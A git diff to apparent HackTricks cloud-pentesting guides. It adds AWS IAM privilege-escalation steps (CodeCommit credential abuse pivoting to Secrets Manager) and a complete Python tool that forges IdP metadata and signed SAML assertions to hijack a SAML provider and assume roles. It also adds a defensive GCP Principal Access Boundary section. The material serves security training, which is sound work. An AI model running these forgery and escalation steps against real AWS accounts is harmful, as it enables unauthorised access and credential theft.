diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 66136d3e4..96a0f88b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id --status Active --user ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. +Enables generating or resetting credentials for specific AWS services (most commonly **CodeCommit**). These are **not** AWS API keys: they are **username/password** credentials for a specific service, and you can only use them where that service accepts them. -**Exploit for Creation:** +**Creation:** ```bash -aws iam create-service-specific-credential --user-name --service-name +aws iam create-service-specific-credential --user-name --service-name codecommit.amazonaws.com ``` -**Exploit for Reset:** +Save: + +- `ServiceSpecificCredential.ServiceUserName` +- `ServiceSpecificCredential.ServicePassword` + +**Example:** + +```bash +# Find a repository you can access as the target +aws codecommit list-repositories + +export REPO_NAME="" +export AWS_REGION="us-east-1" # adjust if needed + +# Git URL (HTTPS) +export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}" + +# Clone and use the ServiceUserName/ServicePassword when prompted +git clone "$CLONE_URL" +cd "$REPO_NAME" +``` + +> Note: The service password often contains characters like `+`, `/` and `=`. Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first. + +At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve **AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager): + +```bash +aws secretsmanager get-secret-value --secret-id --profile +``` + +**Reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impact:** Direct privilege escalation within the user's service permissions. +**Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service). ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** @@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` -> [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +**End-to-end attack (like HackTricks Training IAM Lab 7):** + +1. Enumerate the SAML provider and a role that trusts it: + +```bash +export AWS_REGION=${AWS_REGION:-us-east-1} + +aws iam list-saml-providers +export PROVIDER_ARN="arn:aws:iam:::saml-provider/" + +# Backup current metadata so you can restore it later: +aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json + +# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML: +aws iam list-roles | grep -i saml || true +aws iam get-role --role-name "" +export ROLE_ARN="arn:aws:iam:::role/" +``` + +2. Forge IdP metadata + a signed SAML assertion for the role/provider pair: + +```bash +python3 -m venv /tmp/saml-federation-venv +source /tmp/saml-federation-venv/bin/activate +pip install lxml signxml + +# Create /tmp/saml_forge.py from the expandable below first: +python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json +python3 - <<'PY' +import json +j=json.load(open("/tmp/saml-forge.json","r")) +open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"]) +open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"]) +print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64") +PY +``` + +
+Expandable: /tmp/saml_forge.py helper (metadata + signed assertion) + +```python +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import base64 +import datetime as dt +import json +import os +import subprocess +import tempfile +import uuid + +from lxml import etree +from signxml import XMLSigner, methods + + +def _run(cmd: list[str]) -> str: + p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) + return p.stdout + + +def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: + key_path = os.path.join(tmpdir, "key.pem") + cert_path = os.path.join(tmpdir, "cert.pem") + _run( + [ + "openssl", + "req", + "-x509", + "-newkey", + "rsa:2048", + "-keyout", + key_path, + "-out", + cert_path, + "-days", + "3650", + "-nodes", + "-subj", + "/CN=attacker-idp", + ] + ) + return key_path, cert_path + + +def _pem_cert_to_b64(cert_pem: str) -> str: + lines: list[str] = [] + for line in cert_pem.splitlines(): + if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line: + continue + line = line.strip() + if line: + lines.append(line) + return "".join(lines) + + +def make_metadata_xml(cert_b64: str) -> str: + return f""" + + + + + + {cert_b64} + + + + + + +""" + + +def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: + ns = { + "saml2p": "urn:oasis:names:tc:SAML:2.0:protocol", + "saml2": "urn:oasis:names:tc:SAML:2.0:assertion", + } + + issue_instant = dt.datetime.now(dt.timezone.utc) + not_before = issue_instant - dt.timedelta(minutes=2) + not_on_or_after = issue_instant + dt.timedelta(minutes=10) + + resp_id = "_" + str(uuid.uuid4()) + assertion_id = "_" + str(uuid.uuid4()) + + response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns) + response.set("ID", resp_id) + response.set("Version", "2.0") + response.set("IssueInstant", issue_instant.isoformat()) + response.set("Destination", "https://signin.aws.amazon.com/saml") + + issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer")) + issuer.text = "https://attacker.invalid/idp" + + status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status")) + status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode")) + status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success") + + assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion")) + assertion.set("ID", assertion_id) + assertion.set("Version", "2.0") + assertion.set("IssueInstant", issue_instant.isoformat()) + + a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer")) + a_issuer.text = "https://attacker.invalid/idp" + + subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject")) + name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID")) + name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified") + name_id.text = "attacker" + + subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation")) + subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer") + subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData")) + subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat()) + subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml") + + conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions")) + conditions.set("NotBefore", not_before.isoformat()) + conditions.set("NotOnOrAfter", not_on_or_after.isoformat()) + + audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction")) + audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience")) + audience.text = "https://signin.aws.amazon.com/saml" + + attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement")) + + attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) + attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role") + attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue")) + attr_role_value.text = f"{role_arn},{principal_arn}" + + attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute")) + attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName") + attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue")) + attr_session_value.text = "saml-session" + + key_bytes = open(key_pem, "rb").read() + cert_bytes = open(cert_pem, "rb").read() + + signer = XMLSigner( + method=methods.enveloped, + signature_algorithm="rsa-sha256", + digest_algorithm="sha256", + c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#", + ) + signed_assertion = signer.sign( + assertion, + key=key_bytes, + cert=cert_bytes, + reference_uri=f"#{assertion_id}", + id_attribute="ID", + ) + + response.remove(assertion) + response.append(signed_assertion) + + return etree.tostring(response, xml_declaration=True, encoding="utf-8") + + +def main() -> None: + ap = argparse.ArgumentParser() + ap.add_argument("--role-arn", required=True) + ap.add_argument("--principal-arn", required=True) + args = ap.parse_args() + + with tempfile.TemporaryDirectory() as tmp: + key_path, cert_path = _openssl_make_key_and_cert(tmp) + cert_pem = open(cert_path, "r", encoding="utf-8").read() + cert_b64 = _pem_cert_to_b64(cert_pem) + + metadata_xml = make_metadata_xml(cert_b64) + saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) + saml_b64 = base64.b64encode(saml_xml).decode("ascii") + + print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64})) + + +if __name__ == "__main__": + main() +``` + +
+ +3. Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials: + +```bash +aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \ + --saml-metadata-document file:///tmp/saml-metadata.xml + +# Assertion is base64 and can be long. Keep it on one line: +ASSERTION_B64=$(tr -d '\n' [!WARNING] +> Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate. ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) @@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \ - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md index b7ad9e1c2..d74113992 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -68,7 +68,7 @@ An example of a trust policy with this permission is: To generate credentials to impersonate the role in general you could use something like: ```bash -aws sts assume-role-with-saml --role-arn --principal-arn +aws sts assume-role-with-saml --role-arn --principal-arn --saml-assertion ``` But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): @@ -152,4 +152,3 @@ For this attack to be possible, both the trust anchor and the `default` profile {{#include ../../../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md index c4ffd69b0..28573801f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md +++ b/src/pentesting-cloud/gcp-security/gcp-basic-information/README.md @@ -116,6 +116,125 @@ Or check if a **custom role can use a** [**specific permission in here**](https: ../gcp-services/gcp-iam-and-org-policies-enum.md {{#endref}} +## Principal Access Boundary (PAB) Policies + +In GCP, the closest equivalent to an **AWS IAM Permissions Boundary** is a **Principal Access Boundary (PAB) policy**. + +A **PAB policy** is an IAM control that **limits the resources that a set of principals are eligible to access**. It **doesn't grant access by itself**; it acts as an additional boundary that can only further restrict what principals can do, even if IAM role bindings would otherwise allow it. + +PAB policies are created at the **organization** level and then **enforced by creating policy bindings** (policy bindings bind a policy to a *principal set*). + +Useful docs: + +- +- +- +- + +### Create / Assign (Apply) a PAB + +Create the PAB policy in the organization: + +```bash +gcloud iam principal-access-boundary-policies create PAB_POLICY_ID \ + --organization=ORG_ID \ + --location=global \ + --display-name="My PAB policy" \ + --details-rules=pab-rules.json \ + --details-enforcement-version=latest +``` + +Example `pab-rules.json`: + +```json +[ + { + "description": "Only eligible to access these resources", + "resources": [ + "//cloudresourcemanager.googleapis.com/projects/ALLOWED_PROJECT_ID" + ], + "effect": "ALLOW" + } +] +``` + +Apply it by creating a policy binding (this is what actually enforces the policy for the principal set): + +```bash +gcloud iam policy-bindings create BINDING_ID \ + --project=PROJECT_ID \ + --location=global \ + --policy="organizations/ORG_ID/locations/global/principalAccessBoundaryPolicies/PAB_POLICY_ID" \ + --target-principal-set='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID' +``` + +Notes: + +- The binding parent can also be a folder or organization (use `--folder=FOLDER_ID` or `--organization=ORG_ID` instead of `--project=PROJECT_ID`). +- `--target-principal-set` supports multiple formats (projects/folders/orgs, workforce/workload identity pools, workspace identity, etc.). +- Enforcement versions accepted values are `1`, `2`, `3`, and `latest`. + +### Enumerate + +List PAB policies in an org: + +```bash +gcloud iam principal-access-boundary-policies list \ + --organization=ORG_ID \ + --location=global +``` + +Describe a specific PAB policy: + +```bash +gcloud iam principal-access-boundary-policies describe PAB_POLICY_ID \ + --organization=ORG_ID \ + --location=global +``` + +List policy bindings under a project/folder/org (these bindings are what enforce PABs): + +```bash +gcloud iam policy-bindings list \ + --project=PROJECT_ID \ + --location=global +``` + +Search policy bindings by target principal set (what PABs apply to this target?): + +```bash +gcloud iam policy-bindings search-target-policy-bindings \ + --project=PROJECT_ID \ + --location=global \ + --target='//cloudresourcemanager.googleapis.com/projects/TARGET_PROJECT_ID' +``` + +List policy bindings that reference a specific PAB policy: + +```bash +gcloud iam principal-access-boundary-policies search-policy-bindings PAB_POLICY_ID \ + --organization=ORG_ID \ + --location=global +``` + +### Remove + +Remove a PAB from a principal set (delete the policy binding): + +```bash +gcloud iam policy-bindings delete BINDING_ID \ + --project=PROJECT_ID \ + --location=global +``` + +Delete the PAB policy itself (optionally `--force` if there are still bindings referencing it): + +```bash +gcloud iam principal-access-boundary-policies delete PAB_POLICY_ID \ + --organization=ORG_ID \ + --location=global +``` + ## Users In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace. @@ -228,6 +347,3 @@ As defined by terraform in [https://registry.terraform.io/providers/hashicorp/go - [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) {{#include ../../../banners/hacktricks-training.md}} - - -